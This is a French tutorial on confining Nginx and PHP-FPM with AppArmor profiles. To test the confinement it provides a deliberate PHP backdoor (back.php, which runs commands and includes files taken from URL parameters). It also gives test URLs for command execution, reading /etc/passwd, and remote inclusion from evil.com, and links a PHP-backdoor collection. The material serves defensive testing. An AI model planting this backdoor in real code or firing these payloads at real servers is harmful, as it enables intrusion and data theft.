Menu Fermer

Comment sécuriser Nginx+PHP-FPM avec AppArmor

AppArmor (Application Armor) est une fonctionnalité de sécurité très efficace pour protéger un serveur WEB attaques du type Remote Command Execution (RCE) et Remote File Inclusion (RFI).
En effet, en limitant les accès à PHP, vous protégez les applications PHP de vulnérabilités connues ou inconnues.

Dans ce tutoriel, je vous donne un profile Nginx et un profile PHP-FPM pour AppArmor afin de sécuriser votre serveur WEB.
Vous pouvez l’utiliser comme base afin de mettre en place AppArmor et protéger votre serveur WEB des attaques.

Comment sécuriser Nginx+PHP-FPM avec AppArmor

Comment sécuriser Nginx avec AppArmor

Pour la syntaxe et les notions de base sur les profiles AppArmor, suivez ce tutoriel : Comment créer un profile AppArmor

Voici le profile AppArmor pour Nginx :

#include <tunables/global>

/usr/sbin/nginx {
  #include <abstractions/base>
  #include <abstractions/nameservice>
  #include <abstractions/apache2-common>
  #include <abstractions/nis>
  #include <abstractions/openssl>
  #include <abstractions/ssl_keys>

  capability dac_override,
  capability dac_read_search,
  capability net_bind_service,
  capability setgid,
  capability setuid,
  network inet tcp,

  # pour écrire dans la console
  /dev/pts/[0-9] rw,

  # binary, pid
  /usr/bin/nginx mr,
  /run/nginx.pid rw,
  /usr/bin/php8.1 mrix,

  # configuration
  /etc/nginx r,
  /etc/nginx/** rl,
  /usr/share/nginx r,
  /usr/share/nginx/** r,
  /etc/ssl r,
  /etc/ssl/openssl.cnf r,

  # cache
  owner /var/cache/nginx rw,
  owner /var/cache/nginx/** rw,
  owner /var/lib/nginx rw,
  owner /var/lib/nginx/** rw,

  # webroot
  owner /var/www/html rw,
  owner /var/www/html/** rw,

  # logs
  owner /var/log/nginx/* rw,

}

Pour mettre en place le profile AppArmor pour Nginx :

  • Placez le dans /etc/apparmor.d/usr.sbin.nginx
  • Puis passez le en mode complain :
aa-complain /usr/sbin/nginx
  • Testez et vérifiez les logs /var/log/syslog
  • Si tout est correct, vous pouvez passer le profile en mode enforce :
aa-enforce /usr/sbin/nginx

Comment sécuriser PHP-FPM avec AppArmor

Voici un script pour php-fpm :

#include <tunables/global>
profile php-fpm /usr/sbin/php-fpm{7.4,8.0,8.1}  flags=(attach_disconnected) {
  #include <abstractions/base>
  #include <abstractions/openssl>
  #include <abstractions/ssl_certs>

 
  capability setuid,
  capability setgid,
  capability chown,
  capability kill,
  capability dac_read_search,
  capability dac_override,
  network unix,
  audit deny network inet,

  # CONF
  /etc/php/** rl,
  /etc/hosts r,
  /etc/host.conf r,
  /etc/gai.conf r,
  /etc/resolv.conf r,
  /etc/nsswitch.conf r,
  /etc/ImageMagick-6/ r,
  /etc/ImageMagick-6/** r,

  # php libraries
  /usr/share/php*/ r,
  /usr/share/php*/** mr,
  /usr/share/ImageMagick-6 r,


  /usr/share/ImageMagick-6/** r,

  # Xlibs
  /usr/X11R6/lib{,32,64}/lib*.so* mr,
  # php extensions
  /usr/lib{64,}/php/*/*.so mr,

  # ICU (unicode support) data tables
  /usr/share/icu/*/*.dat r,
  /proc/@{pid}/attr/current rw,
  /sys/devices/system/node r,
  /sys/devices/system/node/** r,
  /tmp/ rw,
  /tmp/** rwk,

  # Sessions
  /var/lib/php/sessions rw,
  /var/lib/php/sessions/** rwk,

  # LOG
  /var/log/php7.4-fpm.log rw,
  /var/log/php8.0-fpm.log rw,
  /var/log/php8.1-fpm.log rw,

  # SOCKET
  /run/php/php7.4-fpm.sock rwlk,
  /run/php/php8.0-fpm.sock rwlk,
  /run/php/php8.1-fpm.sock rwlk,
  /run/php/php7.4-fpm.pid rwlk,
  /run/php/php8.0-fpm.pid rwlk,
  /run/php/php8.1-fpm.pid rwlk,

  # CACHE
  owner /var/cache/opcache rw,

  # WEBROOT

  owner /var/www/** rwk,

}

Quelques remarques :

  • php-fpm utilise des sockets unix, donc on les autorise et on interdit le reste avec network inet. Si vous n’utilisez pas les unix socket, le proxy-pass ne fonctionnera pas car php-fpm ne pourra pas ouvrir les ports en écoute
  • Il peut être nécessaire d’ajouter des accès à /etc et /usr selon les modules PHP utilisés (ex avec ImageMagick)
  • Il est possible de retirer les accès aux libs et utilisés #include <abstractions/php>
  • Vérifiez bien le chemin de votre cache opcache, c’est celui par défaut : /var/cache/opcache

Pour mettre en place le profile AppArmor pour PHP-FPM :

  • Placez le dans /etc/apparmor.d/usr.sbin.php-fpm
  • Puis passez le en mode complain (remplacez la version de PHP) :
aa-complain /usr/sbin/php-fpm8.1
  • Testez et vérifiez les logs /var/log/syslog
  • Si tout est correct, vous pouvez passer le profile en mode enforce :
aa-enforce /usr/sbin/php-fpm8.1

Tester la protection AppArmor sur Nginx et PHP-FPM

Vous pouvez créer une page PHP avec le contenu suivant qui permet d’exécuter des commandes systèmes ou d’accéder à des fichiers depuis les paramètres cmd ou inc.
Nommez la par exemple back.php :

<?php
  if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
  }
  if(isset($_GET['inc'])) {
    include($_GET['inc']);
  }
?>
Attention cela expose votre serveur WEB, donc faites ses tests en local si possible.
Pensez à retirer le script une fois les tests terminés.

Testez les accès suivants qui doivent être bloquées par AppArmor :

https://domain.tld/back.php?cmd=ls
https://domain.tld/back.php?cmd=id

https://domain.tld/back.php?inc=/etc/passwd
https://domain.tld/back.php?inc=http://evil.com/evil.txt

Les exécutions de commandes sont bloquées de cette manière :

Jul 16 09:17:59 www kernel: [24071250.328466] audit: type=1400 audit(1657963079.216:98381): apparmor="DENIED" operation="exec" profile="php-fpm" name="/usr/bin/dash" pid=3777 comm="php-fpm7.4" requested_mask="x" denied_mask="x" fsuid=33 ouid=0
Comment tester la protection AppArmor sur Nginx et PHP-FPM

Vous pouvez aussi tester des backdoor PHP disponibles depuis ce site : https://github.com/bartblaze/PHP-backdoors
On voit ici que l’exécution de commandes à distance (RCE) est bloquée.

Comment tester la protection AppArmor sur Nginx et PHP-FPM
Comment tester la protection AppArmor sur Nginx et PHP-FPM
Pensez à retirer le script de test une fois les tests effectués.